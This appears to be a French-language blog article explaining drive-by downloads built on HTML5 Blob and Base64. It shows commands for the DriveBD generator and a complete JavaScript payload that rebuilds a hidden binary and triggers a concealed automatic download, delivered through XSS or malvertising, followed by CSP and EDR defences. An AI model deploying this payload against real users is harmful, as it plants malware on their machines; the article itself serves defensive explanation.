Drive-by Download : Comprendre la Faille Zéro Clic qui Transforme Votre Navigateur en Menace
⚔️ Analyse et Défense : Le Téléchargement Furtif de Binaires via l'API HTML5 Blob
Le paysage des menaces web évolue, privilégiant l'évasion des mécanismes de sécurité réseau. Une technique puissante, souvent utilisée comme charge utile post-exploitation, est l'injection d'une charge binaire via les API Blob et Base64 du navigateur. Cette méthode permet de déposer un fichier malveillant (exécutable, document avec macro) sur le disque de la victime, contournant les systèmes de détection basés sur le trafic de fichiers.
Cet article décortique le fonctionnement du générateur de payload dbd.py et fournit une analyse technique du code JavaScript, essentielle pour la mise en place de défenses robustes (Blue Team).
I. Le Vecteur d'Attaque : Préparation et Injection
La méthode Base64-to-Blob n'est pas une attaque initiale, mais la charge utile finale exécutée après qu'un autre vecteur d'injection ait compromis la page.
1. Préparation du Payload Binaire (Côté Attaquant)
Pour la demonstartion nous allons utilise le depot https://github.com/jeanlucndato/DriveBD; L'outil dbd.py (du dépôt DriveBD) est un générateur Python qui prépare le binaire malveillant pour l'injection :
# Installation et utilisation du générateur :
$ git clone https://github.com/jeanlucndato/DriveBD
$ cd DriveBD && pip3 install -r requirements/all.txt
# Génération du code JavaScript injecté :
$ python3 dbd.py --extension=".doc" \
--evil-file="/path/to/evil.doc"
Ce script effectue deux opérations clés :
-
Il lit le contenu du fichier binaire (
/path/to/evil.doc). -
Il encode ce contenu intégral en une longue chaîne de caractères Base64 pour le cacher dans le code JavaScript.
-
Il injecte cette chaîne Base64 dans le modèle JavaScript.
2. Les Principaux Vecteurs d'Injection
Le code JavaScript généré est ensuite introduit dans le navigateur de la victime via :
-
Cross-Site Scripting (XSS) : Le script est injecté dans un champ non sécurisé (Stored XSS) ou via un paramètre d'URL (Reflected XSS).
-
Malvertising : Le script est diffusé via des réseaux publicitaires compromis, injectant le code Base64 directement dans le DOM de la page hôte.
II. Analyse Technique du Payload JavaScript (Le Core Furtif)
La charge utile est une Fonction Immédiatement Invoquée (IIFE) qui orchestre la reconstruction du binaire en mémoire.
1. La Configuration MIME
Le payload commence par définir les types MIME pour que le navigateur puisse identifier correctement le fichier reconstruit.
const MIMES = {
'.doc': 'application/msword',
'.pdf': 'application/pdf',
'.exe': 'application/octet-stream',
};
// ... (Utilisé par MimeFactory pour obtenir le type correct)
2. La Chaîne de Reconstruction et de Téléchargement
Le corps du script effectue le décodage, la création du buffer binaire et le déclenchement du téléchargement.
((fileName, base64Payload) => {
// 1. Décodage Base64 vers Chaîne Binaire (Évasion de signature réseau)
const decoded = window.atob(base64Payload);
const size = decoded.length;
// 2. Conversion en Tableau d'Octets pour le Buffer Binaire
const bin = new Uint8Array(size);
for (let i = 0; i < size; i++) {
bin[i] = decoded.charCodeAt(i);
}
// 3. Création du Blob (Le Fichier Binaire en Mémoire)
const blob = new Blob([bin.buffer], {
type: new MimeFactory(fileName).type
});
// 4. Création de l'URL Temporaire et Déclenchement du Téléchargement
const url = window.URL.createObjectURL(blob);
const link = document.createElement('a');
link.style = 'display:none;';
link.href = url;
link.download = fileName;
document.body.appendChild(link);
link.click(); // Le clic automatique = indicateur d’attaque
// 5. Nettoyage
window.URL.revokeObjectURL(url);
document.body.removeChild(link);
})('657hi94.doc', '...');
Explications Techniques Clés
-
window.atob(): Décode la chaîne Base64 en données binaires, permettant à un binaire malveillant de passer sous forme de simple texte HTTP. -
Uint8Array: Stocke les octets du fichier avant leur conversion enBlob. -
new Blob(...): Génère un fichier directement en mémoire locale, sans trafic réseau détectable. -
createObjectURL(blob): Crée une URL temporaire de typeblob:utilisée pour déclencher le téléchargement furtif.
III. Stratégies de Défense Avancées (Blue Team)
Contrer cette menace nécessite une approche combinée : prévention de l’injection et détection comportementale.
1. Prévention de l'Injection (Application Security)
Supprimer le vecteur XSS doit être la priorité :
-
Content Security Policy (CSP)
-
Interdire les scripts inline (
'unsafe-inline'). -
Restreindre les sources de scripts.
-
-
Encodage de Sortie
-
Encoder toutes les données utilisateur pour empêcher leur interprétation comme code.
-
2. Détection Comportementale (EDR)
Les endpoints doivent détecter des comportements JavaScript anormaux :
-
Surveillance de
window.atob()-
Détecter des chaînes décodées de plusieurs Mo.
-
-
Analyse du DOM
-
Repérer la création d’un
<a download>déclenché par.click()automatisé.
-
-
Détection d’URL
blob: -
Signaler les fichiers dont la source est un
blob:local, indicateur fort d’un fichier généré par script.
Conclusion
L'analyse du code JavaScript démontre que le navigateur, une fois compromis (par XSS ou Malvertising), devient l'outil de l'attaquant. Des fonctions apparemment inoffensives comme window.atob(), new Blob(), et link.click() sont chaînées pour transformer la zone de staging en un point de déchargement furtif pour les binaires. Le cœur de la défense réside donc dans le renforcement de la sécurité de l'application web pour prévenir l'injection initiale.

Commentaires
Enregistrer un commentaire